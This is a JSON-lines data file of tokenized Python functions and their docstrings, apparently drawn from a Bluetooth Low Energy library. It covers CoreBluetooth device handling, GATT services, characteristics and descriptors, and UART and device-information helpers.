{"signature": "def peripheral_didUpdateValueForDescriptor_error_(self, peripheral, descriptor, error):", "body": "logger.debug('<STR_LIT>')<EOL>if error is not None:<EOL><INDENT>return<EOL><DEDENT>device = device_list().get(peripheral)<EOL>if device is not None:<EOL><INDENT>device._descriptor_changed(descriptor)<EOL><DEDENT>", "docstring": "Called when descriptor value was read or updated.", "id": "f9581:c0:m11"}
{"signature": "def peripheral_didReadRSSI_error_(self, peripheral, rssi, error):", "body": "logger.debug('<STR_LIT>')<EOL>if error is not None:<EOL><INDENT>return<EOL><DEDENT>device = device_list().get(peripheral)<EOL>if device is not None:<EOL><INDENT>device._rssi_changed(rssi)<EOL><DEDENT>", "docstring": "Called when a new RSSI value for the peripheral is available.", "id": "f9581:c0:m12"}
{"signature": "def initialize(self):", "body": "<EOL>self._central_manager = CBCentralManager.alloc()<EOL>self._central_manager.initWithDelegate_queue_options_(self._central_delegate,<EOL>None, None)<EOL>", "docstring": "Initialize the BLE provider.  Must be called once before any other\n        calls are made to the provider.", "id": "f9581:c1:m1"}
{"signature": "def run_mainloop_with(self, target):", "body": "<EOL>self._user_thread = threading.Thread(target=self._user_thread_main,<EOL>args=(target,))<EOL>self._user_thread.daemon = True<EOL>self._user_thread.start()<EOL>try:<EOL><INDENT>AppHelper.runConsoleEventLoop(installInterrupt=True)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>AppHelper.stopEventLoop()<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Start the OS's main loop to process asyncronous BLE events and then\n        run the specified target function in a background thread.  Target\n        function should be a function that takes no parameters and optionally\n        return an integer response code.  When the target function stops\n        executing or returns with value then the main loop will be stopped and\n        the program will exit with the returned code.\n\n        Note that an OS main loop is required to process asyncronous BLE events\n        and this function is provided as a convenience for writing simple tools\n        and scripts that don't need to be full-blown GUI applications.  If you\n        are writing a GUI application that has a main loop (a GTK glib main loop\n        on Linux, or a Cocoa main loop on OSX) then you don't need to call this\n        function.", "id": "f9581:c1:m2"}
{"signature": "def _user_thread_main(self, target):", "body": "try:<EOL><INDENT>return_code = target()<EOL>if return_code is None:<EOL><INDENT>return_code = <NUM_LIT:0><EOL><DEDENT>AppHelper.callAfter(lambda: sys.exit(return_code))<EOL><DEDENT>except Exception as ex:<EOL><INDENT>AppHelper.callAfter(self._raise_error, sys.exc_info())<EOL><DEDENT>", "docstring": "Main entry point for the thread that will run user's code.", "id": "f9581:c1:m3"}
{"signature": "def _raise_error(self, exec_info):", "body": "<EOL>raise_(exec_info[<NUM_LIT:1>], None, exec_info[<NUM_LIT:2>])<EOL>", "docstring": "Raise an exception from the provided exception info.  Used to cause\n        the main thread to stop with an error.", "id": "f9581:c1:m4"}
{"signature": "def list_adapters(self):", "body": "return [self._adapter]<EOL>", "docstring": "Return a list of BLE adapter objects connected to the system.", "id": "f9581:c1:m5"}
{"signature": "def list_devices(self):", "body": "return self._devices.list()<EOL>", "docstring": "Return a list of BLE devices known to the system.", "id": "f9581:c1:m6"}
{"signature": "def clear_cached_data(self):", "body": "<EOL>if self._adapter.is_powered:<EOL><INDENT>self._adapter.power_off()<EOL><DEDENT>with open(os.devnull, '<STR_LIT:w>') as devnull:<EOL><INDENT>subprocess.call('<STR_LIT>',<EOL>shell=True, stdout=devnull, stderr=subprocess.STDOUT)<EOL>subprocess.call('<STR_LIT>',<EOL>shell=True, stdout=devnull, stderr=subprocess.STDOUT)<EOL><DEDENT>", "docstring": "Clear the internal bluetooth device cache.  This is useful if a device\n        changes its state like name and it can't be detected with the new state\n        anymore.  WARNING: This will delete some files underneath the running user's\n        ~/Library/Preferences/ folder!\n\n        See this Stackoverflow question for information on what the function does:\n        http://stackoverflow.com/questions/20553957/how-can-i-clear-the-corebluetooth-cache-on-macos", "id": "f9581:c1:m7"}
{"signature": "def disconnect_devices(self, service_uuids):", "body": "<EOL>cbuuids = map(uuid_to_cbuuid, service_uuids)<EOL>for device in self._central_manager.retrieveConnectedPeripheralsWithServices_(cbuuids):<EOL><INDENT>self._central_manager.cancelPeripheralConnection_(device)<EOL><DEDENT>", "docstring": "Disconnect any connected devices that have any of the specified\n        service UUIDs.", "id": "f9581:c1:m8"}
{"signature": "def cbuuid_to_uuid(cbuuid):", "body": "data = cbuuid.data().bytes()<EOL>template = '<STR_LIT>' if len(data) <= <NUM_LIT:4> else '<STR_LIT>'<EOL>value = template.format(hexlify(data.tobytes()[:<NUM_LIT:16>]).decode('<STR_LIT:ascii>'))<EOL>return uuid.UUID(hex=value)<EOL>", "docstring": "Convert Objective-C CBUUID type to native Python UUID type.", "id": "f9582:m0"}
{"signature": "def uuid_to_cbuuid(uuid):", "body": "return CBUUID.UUIDWithString_(str(uuid))<EOL>", "docstring": "Convert native Python UUID type to Objective-C CBUUID type.", "id": "f9582:m1"}
{"signature": "def nsuuid_to_uuid(nsuuid):", "body": "return uuid.UUID(nsuuid.UUIDString())<EOL>", "docstring": "Convert Objective-C NSUUID type to native Python UUID type.", "id": "f9582:m2"}
{"signature": "def list(self):", "body": "with self._lock:<EOL><INDENT>return self._metadata.values()<EOL><DEDENT>", "docstring": "Return list of all metadata objects.", "id": "f9583:c0:m1"}
{"signature": "def get(self, cbobject):", "body": "with self._lock:<EOL><INDENT>return self._metadata.get(cbobject, None)<EOL><DEDENT>", "docstring": "Retrieve the metadata associated with the specified CoreBluetooth\n        object.", "id": "f9583:c0:m2"}
{"signature": "def get_all(self, cbobjects):", "body": "try:<EOL><INDENT>with self._lock:<EOL><INDENT>return [self._metadata[x] for x in cbobjects]<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Retrieve a list of metadata objects associated with the specified\n        list of CoreBluetooth objects.  If an object cannot be found then an\n        exception is thrown.", "id": "f9583:c0:m3"}
{"signature": "def add(self, cbobject, metadata):", "body": "with self._lock:<EOL><INDENT>if cbobject not in self._metadata:<EOL><INDENT>self._metadata[cbobject] = metadata<EOL><DEDENT>return self._metadata[cbobject]<EOL><DEDENT>", "docstring": "Add the specified CoreBluetooth item with the associated metadata if\n        it doesn't already exist.  Returns the newly created or preexisting\n        metadata item.", "id": "f9583:c0:m4"}
{"signature": "def remove(self, cbobject):", "body": "with self._lock:<EOL><INDENT>if cbobject in self._metadata:<EOL><INDENT>del self._metadata[cbobject]<EOL><DEDENT><DEDENT>", "docstring": "Remove any metadata associated with the provided CoreBluetooth object.", "id": "f9583:c0:m5"}
{"signature": "def __init__(self, service):", "body": "self._service = service<EOL>", "docstring": "Create an instance of the GATT service from the provided CoreBluetooth\n        CBService instance.", "id": "f9584:c0:m0"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return cbuuid_to_uuid(self._service.UUID())<EOL>", "docstring": "Return the UUID of this GATT service.", "id": "f9584:c0:m1"}
{"signature": "def list_characteristics(self):", "body": "<EOL>return characteristic_list().get_all(self._service.characteristics())<EOL>", "docstring": "Return list of GATT characteristics that have been discovered for this\n        service.", "id": "f9584:c0:m2"}
{"signature": "def __init__(self, characteristic):", "body": "self._characteristic = characteristic<EOL>self._value_read = threading.Event()<EOL>", "docstring": "Create an instance of the GATT characteristic from the provided\n        CoreBluetooth CBCharacteristic instance.", "id": "f9584:c1:m0"}
{"signature": "@property<EOL><INDENT>def _device(self):<DEDENT>", "body": "return device_list().get(self._characteristic.service().peripheral())<EOL>", "docstring": "Return the parent CoreBluetoothDevice object that owns this\n        characteristic.", "id": "f9584:c1:m1"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return cbuuid_to_uuid(self._characteristic.UUID())<EOL>", "docstring": "Return the UUID of this GATT characteristic.", "id": "f9584:c1:m2"}
{"signature": "def read_value(self, timeout_sec=TIMEOUT_SEC):", "body": "<EOL>self._value_read.clear()<EOL>self._device._peripheral.readValueForCharacteristic_(self._characteristic)<EOL>if not self._value_read.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return self._characteristic.value()<EOL>", "docstring": "Read the value of this characteristic.", "id": "f9584:c1:m3"}
{"signature": "def write_value(self, value, write_type=<NUM_LIT:0>):", "body": "data = NSData.dataWithBytes_length_(value, len(value))<EOL>self._device._peripheral.writeValue_forCharacteristic_type_(data,<EOL>self._characteristic,<EOL>write_type)<EOL>", "docstring": "Write the specified value to this characteristic.", "id": "f9584:c1:m4"}
{"signature": "def start_notify(self, on_change):", "body": "<EOL>self._device._notify_characteristic(self._characteristic, on_change)<EOL>self._device._peripheral.setNotifyValue_forCharacteristic_(True,<EOL>self._characteristic)<EOL>", "docstring": "Enable notification of changes for this characteristic on the\n        specified on_change callback.  on_change should be a function that takes\n        one parameter which is the value (as a string of bytes) of the changed\n        characteristic value.", "id": "f9584:c1:m5"}
{"signature": "def stop_notify(self):", "body": "self._device._peripheral.setNotifyValue_forCharacteristic_(False,<EOL>self._characteristic)<EOL>", "docstring": "Disable notification of changes for this characteristic.", "id": "f9584:c1:m6"}
{"signature": "def list_descriptors(self):", "body": "<EOL>return descriptor_list().get_all(self._characteristic.descriptors())<EOL>", "docstring": "Return list of GATT descriptors that have been discovered for this\n        characteristic.", "id": "f9584:c1:m7"}
{"signature": "def __init__(self, descriptor):", "body": "self._descriptor = descriptor<EOL>self._value_read = threading.Event()<EOL>", "docstring": "Create an instance of the GATT descriptor from the provided\n        CoreBluetooth CBDescriptor value.", "id": "f9584:c2:m0"}
{"signature": "@property<EOL><INDENT>def _device(self):<DEDENT>", "body": "return device_list().get(self._descriptor.characteristic().service().peripheral())<EOL>", "docstring": "Return the parent CoreBluetoothDevice object that owns this\n        characteristic.", "id": "f9584:c2:m1"}
{"signature": "@property<EOL><INDENT>def uuid(self):<DEDENT>", "body": "return cbuuid_to_uuid(self._descriptor.UUID())<EOL>", "docstring": "Return the UUID of this GATT descriptor.", "id": "f9584:c2:m2"}
{"signature": "def read_value(self):", "body": "pass<EOL>self._value_read.clear()<EOL>self._device._peripheral.readValueForDescriptor(self._descriptor)<EOL>if not self._value_read.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return self._value<EOL>", "docstring": "Read the value of this descriptor.", "id": "f9584:c2:m3"}
{"signature": "def __init__(self, peripheral):", "body": "self._peripheral = peripheral<EOL>self._advertised = []<EOL>self._discovered_services = set()<EOL>self._char_on_changed = {}<EOL>self._rssi = None<EOL>self._connected = threading.Event()<EOL>self._disconnected = threading.Event()<EOL>self._discovered = threading.Event()<EOL>self._rssi_read = threading.Event()<EOL>", "docstring": "Create an instance of the CoreBluetooth device from the provided\n        CBPeripheral instance.", "id": "f9585:c0:m0"}
{"signature": "def connect(self, timeout_sec=TIMEOUT_SEC):", "body": "self._central_manager.connectPeripheral_options_(self._peripheral, None)<EOL>if not self._connected.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Connect to the device.  If not connected within the specified timeout\n        then an exception is thrown.", "id": "f9585:c0:m2"}
{"signature": "def disconnect(self, timeout_sec=TIMEOUT_SEC):", "body": "<EOL>for service in self.list_services():<EOL><INDENT>for char in service.list_characteristics():<EOL><INDENT>for desc in char.list_descriptors():<EOL><INDENT>descriptor_list().remove(desc)<EOL><DEDENT>characteristic_list().remove(char)<EOL><DEDENT>service_list().remove(service)<EOL><DEDENT>self._central_manager.cancelPeripheralConnection_(self._peripheral)<EOL>if not self._disconnected.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Disconnect from the device.  If not disconnected within the specified\n        timeout then an exception is thrown.", "id": "f9585:c0:m3"}
{"signature": "def _set_connected(self):", "body": "self._disconnected.clear()<EOL>self._connected.set()<EOL>", "docstring": "Set the connected event.", "id": "f9585:c0:m4"}
{"signature": "def _set_disconnected(self):", "body": "self._connected.clear()<EOL>self._disconnected.set()<EOL>", "docstring": "Set the connected event.", "id": "f9585:c0:m5"}
{"signature": "def _update_advertised(self, advertised):", "body": "<EOL>if '<STR_LIT>' in advertised:<EOL><INDENT>self._advertised = self._advertised + map(cbuuid_to_uuid, advertised['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Called when advertisement data is received.", "id": "f9585:c0:m6"}
{"signature": "def _characteristics_discovered(self, service):", "body": "<EOL>self._discovered_services.add(service)<EOL>if self._discovered_services >= set(self._peripheral.services()):<EOL><INDENT>self._discovered.set()<EOL><DEDENT>", "docstring": "Called when GATT characteristics have been discovered.", "id": "f9585:c0:m7"}
{"signature": "def _notify_characteristic(self, characteristic, on_change):", "body": "<EOL>self._char_on_changed[characteristic] = on_change<EOL>", "docstring": "Call the specified on_change callback when this characteristic\n        changes.", "id": "f9585:c0:m8"}
{"signature": "def _characteristic_changed(self, characteristic):", "body": "<EOL>on_changed = self._char_on_changed.get(characteristic, None)<EOL>if on_changed is not None:<EOL><INDENT>on_changed(characteristic.value().bytes().tobytes())<EOL><DEDENT>char = characteristic_list().get(characteristic)<EOL>if char is not None:<EOL><INDENT>char._value_read.set()<EOL><DEDENT>", "docstring": "Called when the specified characteristic has changed its value.", "id": "f9585:c0:m9"}
{"signature": "def _descriptor_changed(self, descriptor):", "body": "<EOL>desc = descriptor_list().get(descriptor)<EOL>if desc is not None:<EOL><INDENT>desc._value_read.set()<EOL><DEDENT>", "docstring": "Called when the specified descriptor has changed its value.", "id": "f9585:c0:m10"}
{"signature": "def _rssi_changed(self, rssi):", "body": "self._rssi = rssi<EOL>self._rssi_read.set()<EOL>", "docstring": "Called when the RSSI signal strength has been read.", "id": "f9585:c0:m11"}
{"signature": "def list_services(self):", "body": "return service_list().get_all(self._peripheral.services())<EOL>", "docstring": "Return a list of GattService objects that have been discovered for\n        this device.", "id": "f9585:c0:m12"}
{"signature": "def discover(self, service_uuids, char_uuids, timeout_sec=TIMEOUT_SEC):", "body": "<EOL>if not self._discovered.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Wait up to timeout_sec for the specified services and characteristics\n        to be discovered on the device.  If the timeout is exceeded without\n        discovering the services and characteristics then an exception is thrown.", "id": "f9585:c0:m13"}
{"signature": "@property<EOL><INDENT>def advertised(self):<DEDENT>", "body": "return self._advertised<EOL>", "docstring": "Return a list of UUIDs for services that are advertised by this\n        device.", "id": "f9585:c0:m14"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return nsuuid_to_uuid(self._peripheral.identifier())<EOL>", "docstring": "Return a unique identifier for this device.  On supported platforms\n        this will be the MAC address of the device, however on unsupported\n        platforms (Mac OSX) it will be a unique ID like a UUID.", "id": "f9585:c0:m15"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._peripheral.name()<EOL>", "docstring": "Return the name of this device.", "id": "f9585:c0:m16"}
{"signature": "@property<EOL><INDENT>def is_connected(self):<DEDENT>", "body": "return self._connected.is_set()<EOL>", "docstring": "Return True if the device is connected to the system, otherwise False.", "id": "f9585:c0:m17"}
{"signature": "@property<EOL><INDENT>def rssi(self, timeout_sec=TIMEOUT_SEC):<DEDENT>", "body": "<EOL>self._rssi_read.clear()<EOL>self._peripheral.readRSSI()<EOL>if not self._rssi_read.wait(timeout_sec):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return self._rssi<EOL>", "docstring": "Return the RSSI signal strength in decibels.", "id": "f9585:c0:m18"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def name(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the name of this BLE network adapter.", "id": "f9586:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def start_scan(self, timeout_sec):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Start scanning for BLE devices with this adapter.", "id": "f9586:c0:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def stop_scan(self, timeout_sec):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Stop scanning for BLE devices with this adapter.", "id": "f9586:c0:m2"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def is_scanning(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return True if the BLE adapter is scanning for devices, otherwise\n        return False.", "id": "f9586:c0:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def power_on(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Power on this BLE adapter.", "id": "f9586:c0:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def power_off(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Power off this BLE adapter.", "id": "f9586:c0:m5"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def is_powered(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return True if the BLE adapter is powered up, otherwise return False.", "id": "f9586:c0:m6"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def initialize(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Initialize the BLE provider.  Must be called once before any other\n        calls are made to the provider.", "id": "f9587:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def run_mainloop_with(self, target):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Start the OS's main loop to process asyncronous BLE events and then\n        run the specified target function in a background thread.  Target\n        function should be a function that takes no parameters and optionally\n        return an integer response code.  When the target function stops\n        executing or returns with value then the main loop will be stopped and\n        the program will exit with the returned code.\n\n        Note that an OS main loop is required to process asyncronous BLE events\n        and this function is provided as a convenience for writing simple tools\n        and scripts that don't need to be full-blown GUI applications.  If you\n        are writing a GUI application that has a main loop (a GTK glib main loop\n        on Linux, or a Cocoa main loop on OSX) then you don't need to call this\n        function.", "id": "f9587:c0:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def list_adapters(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return a list of BLE adapter objects connected to the system.", "id": "f9587:c0:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def list_devices(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return a list of BLE devices known to the system.", "id": "f9587:c0:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def clear_cached_data(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Clear any internally cached BLE device data.  Necessary in some cases\n        to prevent issues with stale device data getting cached by the OS.", "id": "f9587:c0:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def disconnect_devices(self, service_uuids):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Disconnect any connected devices that have any of the specified\n        service UUIDs.", "id": "f9587:c0:m5"}
{"signature": "def get_default_adapter(self):", "body": "adapters = self.list_adapters()<EOL>if len(adapters) > <NUM_LIT:0>:<EOL><INDENT>return adapters[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Return the first BLE adapter found, or None if no adapters are\n        available.", "id": "f9587:c0:m6"}
{"signature": "def find_devices(self, service_uuids=[], name=None):", "body": "<EOL>expected = set(service_uuids)<EOL>devices = self.list_devices()<EOL>found = []<EOL>for device in devices:<EOL><INDENT>if name is not None:<EOL><INDENT>if device.name == name:<EOL><INDENT>found.append(device)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>actual = set(device.advertised)<EOL>if actual >= expected:<EOL><INDENT>found.append(device)<EOL><DEDENT><DEDENT><DEDENT>return found<EOL>", "docstring": "Return devices that advertise the specified service UUIDs and/or have\n        the specified name.  Service_uuids should be a list of Python uuid.UUID\n        objects and is optional.  Name is a string device name to look for and is\n        also optional.  Will not block, instead it returns immediately with a\n        list of found devices (which might be empty).", "id": "f9587:c0:m7"}
{"signature": "def find_device(self, service_uuids=[], name=None, timeout_sec=TIMEOUT_SEC):", "body": "start = time.time()<EOL>while True:<EOL><INDENT>found = self.find_devices(service_uuids, name)<EOL>if len(found) > <NUM_LIT:0>:<EOL><INDENT>return found[<NUM_LIT:0>]<EOL><DEDENT>if time.time()-start >= timeout_sec:<EOL><INDENT>return None<EOL><DEDENT>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return the first device that advertises the specified service UUIDs or\n        has the specified name. Will wait up to timeout_sec seconds for the device\n        to be found, and if the timeout is zero then it will not wait at all and\n        immediately return a result.  When no device is found a value of None is\n        returned.", "id": "f9587:c0:m8"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def uuid(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the UUID of this GATT service.", "id": "f9589:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def list_characteristics(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return list of GATT characteristics that have been discovered for this\n        service.", "id": "f9589:c0:m1"}
{"signature": "def find_characteristic(self, uuid):", "body": "for char in self.list_characteristics():<EOL><INDENT>if char.uuid == uuid:<EOL><INDENT>return char<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return the first child characteristic found that has the specified\n        UUID.  Will return None if no characteristic that matches is found.", "id": "f9589:c0:m2"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def uuid(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the UUID of this GATT characteristic.", "id": "f9589:c1:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def read_value(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Read the value of this characteristic.", "id": "f9589:c1:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def write_value(self, value):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Write the specified value to this characteristic.", "id": "f9589:c1:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def start_notify(self, on_change):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Enable notification of changes for this characteristic on the\n        specified on_change callback.  on_change should be a function that takes\n        one parameter which is the value (as a string of bytes) of the changed\n        characteristic value.", "id": "f9589:c1:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def stop_notify(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Disable notification of changes for this characteristic.", "id": "f9589:c1:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def list_descriptors(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return list of GATT descriptors that have been discovered for this\n        characteristic.", "id": "f9589:c1:m5"}
{"signature": "def find_descriptor(self, uuid):", "body": "for desc in self.list_descriptors():<EOL><INDENT>if desc.uuid == uuid:<EOL><INDENT>return desc<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return the first child descriptor found that has the specified\n        UUID.  Will return None if no descriptor that matches is found.", "id": "f9589:c1:m6"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def uuid(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the UUID of this GATT descriptor.", "id": "f9589:c2:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def read_value(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Read the value of this descriptor.", "id": "f9589:c2:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def connect(self, timeout_sec):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Connect to the BLE device.", "id": "f9590:c0:m0"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def disconnect(self, timeout_sec):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Disconnect from the BLE device.", "id": "f9590:c0:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def list_services(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return a list of GattService objects that have been discovered for\n        this device.", "id": "f9590:c0:m2"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def discover(self, service_uuids, char_uuids, timeout_sec=<NUM_LIT:30>):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Wait up to timeout_sec for the specified services and characteristics\n        to be discovered on the device.  If the timeout is exceeded without\n        discovering the services and characteristics then an exception is thrown.", "id": "f9590:c0:m3"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def advertised(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return a list of UUIDs for services that are advertised by this\n        device.", "id": "f9590:c0:m4"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def id(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return a unique identifier for this device.  On supported platforms\n        this will be the MAC address of the device, however on unsupported\n        platforms (Mac OSX) it will be a unique ID like a UUID.", "id": "f9590:c0:m5"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def name(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the name of this device.", "id": "f9590:c0:m6"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def is_connected(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return True if the device is connected to the system, otherwise False.", "id": "f9590:c0:m7"}
{"signature": "@abc.abstractproperty<EOL><INDENT>def rssi(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the RSSI signal strength in decibels.", "id": "f9590:c0:m8"}
{"signature": "def find_service(self, uuid):", "body": "for service in self.list_services():<EOL><INDENT>if service.uuid == uuid:<EOL><INDENT>return service<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Return the first child service found that has the specified\n        UUID.  Will return None if no service that matches is found.", "id": "f9590:c0:m9"}
{"signature": "def __eq__(self, other):", "body": "return self.id == other.id<EOL>", "docstring": "Test if this device is the same as the provided device.", "id": "f9590:c0:m10"}
{"signature": "def __ne__(self, other):", "body": "return self.id != other.id<EOL>", "docstring": "Test if this device is not the same as the provided device.", "id": "f9590:c0:m11"}
{"signature": "def __hash__(self):", "body": "return hash(self.id)<EOL>", "docstring": "Hash function implementation that allows device instances to be put\n        inside dictionaries and other containers.", "id": "f9590:c0:m12"}
{"signature": "def get_provider():", "body": "global _provider<EOL>if _provider is None:<EOL><INDENT>if sys.platform.startswith('<STR_LIT>'):<EOL><INDENT>from .bluez_dbus.provider import BluezProvider<EOL>_provider = BluezProvider()<EOL><DEDENT>elif sys.platform == '<STR_LIT>':<EOL><INDENT>from .corebluetooth.provider import CoreBluetoothProvider<EOL>_provider = CoreBluetoothProvider()<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(sys.platform))<EOL><DEDENT><DEDENT>return _provider<EOL>", "docstring": "Return an instance of the BLE provider for the current platform.", "id": "f9592:m0"}
{"signature": "def __init__(self, device):", "body": "<EOL>self._uart = device.find_service(UART_SERVICE_UUID)<EOL>if self._uart is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self._tx = self._uart.find_characteristic(TX_CHAR_UUID)<EOL>self._rx = self._uart.find_characteristic(RX_CHAR_UUID)<EOL>if self._tx is None or self._rx is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>self._queue = queue.Queue()<EOL>self._rx.start_notify(self._rx_received)<EOL>", "docstring": "Initialize UART from provided bluez device.", "id": "f9593:c0:m0"}
{"signature": "def write(self, data):", "body": "self._tx.write_value(data)<EOL>", "docstring": "Write a string of data to the UART device.", "id": "f9593:c0:m2"}
{"signature": "def read(self, timeout_sec=None):", "body": "try:<EOL><INDENT>return self._queue.get(timeout=timeout_sec)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Block until data is available to read from the UART.  Will return a\n        string of data that has been received.  Timeout_sec specifies how many\n        seconds to wait for data to be available and will block forever if None\n        (the default).  If the timeout is exceeded and no data is found then\n        None is returned.", "id": "f9593:c0:m3"}
{"signature": "def __init__(self, device):", "body": "<EOL>self._colorific = device.find_service(COLOR_SERVICE_UUID)<EOL>self._color = self._colorific.find_characteristic(COLOR_CHAR_UUID)<EOL>", "docstring": "Initialize device information from provided bluez device.", "id": "f9594:c0:m0"}
{"signature": "def set_color(self, r, g, b):", "body": "<EOL>command = '<STR_LIT>'.format(chr(r & <NUM_LIT>),<EOL>chr(g & <NUM_LIT>),<EOL>chr(b & <NUM_LIT>))<EOL>self._color.write_value(command)<EOL>", "docstring": "Set the red, green, blue color of the bulb.", "id": "f9594:c0:m1"}
{"signature": "def __init__(self, device):", "body": "<EOL>self._dis = device.find_service(DIS_SERVICE_UUID)<EOL>self._manufacturer = self._dis.find_characteristic(MANUFACTURER_CHAR_UUID)<EOL>self._model = self._dis.find_characteristic(MODEL_CHAR_UUID)<EOL>self._serial = self._dis.find_characteristic(SERIAL_CHAR_UUID)<EOL>self._hw_revision = self._dis.find_characteristic(HW_REVISION_CHAR_UUID)<EOL>self._sw_revision = self._dis.find_characteristic(SW_REVISION_CHAR_UUID)<EOL>self._fw_revision = self._dis.find_characteristic(FW_REVISION_CHAR_UUID)<EOL>self._sys_id = self._dis.find_characteristic(SYS_ID_CHAR_UUID)<EOL>self._reg_cert = self._dis.find_characteristic(REG_CERT_CHAR_UUID)<EOL>self._pnp_id = self._dis.find_characteristic(PNP_ID_CHAR_UUID)<EOL>", "docstring": "Initialize device information from provided bluez device.", "id": "f9595:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def find_device(cls, timeout_sec=TIMEOUT_SEC):<DEDENT>", "body": "return get_provider().find_device(service_uuids=cls.ADVERTISED, timeout_sec=timeout_sec)<EOL>", "docstring": "Find the first available device that supports this service and return\n        it, or None if no device is found.  Will wait for up to timeout_sec\n        seconds to find the device.", "id": "f9597:c0:m0"}
